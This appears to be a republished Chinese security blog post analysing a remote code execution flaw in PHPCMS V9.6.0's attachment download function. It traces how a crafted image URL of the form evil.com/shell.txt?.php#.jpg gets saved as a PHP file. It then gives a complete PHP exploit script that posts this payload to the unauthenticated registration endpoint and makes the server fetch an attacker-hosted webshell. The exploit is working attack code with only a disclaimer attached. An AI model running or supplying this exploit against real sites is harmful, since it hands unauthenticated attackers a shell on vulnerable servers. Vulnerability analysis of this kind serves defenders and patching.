PHPCMS前台Getshell

技术 作者:HackerEye 2018-08-24 09:19:55
  • 发布时间:2016-09-01
  • 公开时间:N/A
  • 漏洞类型:代码执行
  • 危害等级:高
  • 漏洞编号:xianzhi-2016-09-43476938
  • 测试版本:V9.6.0 20151225

漏洞详情

phpcms/libs/classes/attachment.class.php 行143
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }
函数的功能是从富文本中提取远程图片资源并保存在本地
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
使用这个正则来取图片资源的链接然后交给了 fillurl() 函数
fillurl($matche, $absurl, $basehref);
来看看这个 fillurl() 函数做了什么
function fillurl($surl, $absurl, $basehref = '') {
        if($basehref != '') {
            $preurl = strtolower(substr($surl,0,6));
            if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
            return  $surl;
            else
            return $basehref.'/'.$surl;
        }
        $i = 0;
        $dstr = '';
        $pstr = '';
        $okurl = '';
        $pathStep = 0;
        $surl = trim($surl);
        if($surl=='') return '';
        $urls = @parse_url(SITE_URL);
        $HomeUrl = $urls['host'];
        $BaseUrlPath = $HomeUrl.$urls['path'];
        $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
        $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
        $pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);
        if($surl[0]=='/') {
            $okurl = 'http://'.$HomeUrl.'/'.$surl;
        } elseif($surl[0] == '.') {
            if(strlen($surl)<=2) return '';
            elseif($surl[0]=='/') {
                $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
            } else {
                $urls = explode('/',$surl);
                foreach($urls as $u) {
                    if($u=="..") $pathStep++;
                    else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
                    else $dstr .= $urls[$i];
                    $i++;
                }
                $urls = explode('/', $BaseUrlPath);
                if(count($urls) <= $pathStep)
                return '';
                else {
                    $pstr = 'http://';
                    for($i=0;$i<count($urls)-$pathStep;$i++) {
                        $pstr .= $urls[$i].'/';
                    }
                    $okurl = $pstr.$dstr;
                }
            }
        } else {
            $preurl = strtolower(substr($surl,0,6));
            if(strlen($surl)<7)
            $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
            elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
            $okurl = $surl;
            else
            $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
        }
        $preurl = strtolower(substr($okurl,0,6));
        if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
            return $okurl;
        } else {
            $okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
            $okurl = preg_replace('/\/{1,}/i','/',$okurl);
            return 'http://'.$okurl;
        }
    }
里面有这么一段
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
如果url中存在 # 符号,那么只截取url中 # 符号之前的内容 再来看看 download() 函数
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;

if($upload_func($file, $newfile)) {
从处理完的链接中提取扩展名生成新文件名后保存到本地 可以看到这里并没有再次对扩展名进行验证 如果构造http://www.evil.com/shell.txt?.php#.jpg这样的链接 就能使正则匹配成功 而又提取 .php 作为新文件的扩展名保存到本地 导致Getshell 来看看 download() 函数哪里被调用
caches\caches_model\caches_data\member_input.class.php
function get($data) {
        
        $this->data = $data = trim_script($data);
        $model_cache = getcache('member_model', 'commons');
        $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

        $info = array();
        $debar_filed = array('catid','title','style','thumb','status','islink','description');
        if(is_array($data)) {
            foreach($data as $field=>$value) {
                ……省略……
               $func = $this->fields[$field]['formtype'];
               if(method_exists($this, $func)) $value = $this->$func($field, $value);
                $info[$field] = $value;
            }
        }
        return $info;
    }

function editor($field, $value) {
        
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }
根据 **modelid** 从cache中取出数据放到`this->fields`
$this->fields = getcache('model_field_'.$modelid,'model');
$this->fields[$field]['formtype'] == 'editor'时就会调用 editor() 从而执行 download() 函数 搜索全部cache文件 只有4个包含 'formtype' => 'editor' 分别是/caches/caches/model/caches_data/model_field_(1|2|3|11).cache.php 所以当 modelid=(1,2,3,11) 其中一个 且调用了 member_input 类中的 get() 方法来处理可控数据,就可以Getshell

漏洞利用

这里找了一个前台用不登录的地方 注册环节
phpcms/modules/member/index.php 行33
public function register() {
    ……略……
73:    $userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
    
    ……略……
119:    $model_field_cache = getcache('model_field_'.$userinfo['modelid'],'model');
    ……略……
135:    require_once CACHE_MODEL_PATH.'member_input.class.php';
        require_once CACHE_MODEL_PATH.'member_update.class.php';
        $member_input = new member_input($userinfo['modelid']);        
        $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
        $user_model_info = $member_input->get($_POST['info']);
$modelid 来自 POST 随便1,2,3,11都行 后面调用了$member_input->get();方法 而且参数是可控的 $_POST['info'] 条件都满足了

EXP

利用代码具有攻击性,请在本地环境进行测试! 请勿针对任何互联网站点使用本代码! 利用本代码造成的一切后果与本人无关!
<?php
print_r('
****************************************************
*
*    Phpcms v9.6.0 Remote Code Execution Exp
*    by SMLDHZ
*    QQ:3298302054
*    Usage: php '.basename(__FILE__).' url/path
*    php '.basename(__FILE__).' http://192.168.1.1/
*
****************************************************
');
if($argc!=2){
    exit;
}
$shellAddr  = 'http://your.php.shell/x.txt';

$target     = $argv[1];
$url        = $target.'/index.php?m=member&c=index&a=register&siteid=1';
$payload    = 'dosubmit=1&siteid=1&modelid=11&username=SMLDHZ'.time().
            '&password=nidaye&pwdconfirm=nidaye&email=SMLDHZ'.time().
            '%40dqdq.com&nickname=SMLDHZ'.time().
            '&info[content]=<img src='.$shellAddr.'?.php#.jpg>';
            
echo "[+]Witness the miracle...\n";
$return     =sendPayload($url,$payload);
if(preg_match('#img src=(.*?)\&gt#', $return, $match)){
    echo "[+]shell: " . $match[1];
}else{
    echo "[!]failed!\n".$return;
}

function sendPayload($url,$payload){
    $ch     = curl_init ();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    $return = curl_exec($ch);
    curl_close($ch);
    return $return;
}
小礼物走一走,来简书关注我
作者:索马里的乌贼 链接:https://www.jianshu.com/p/3fa84b90f425

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接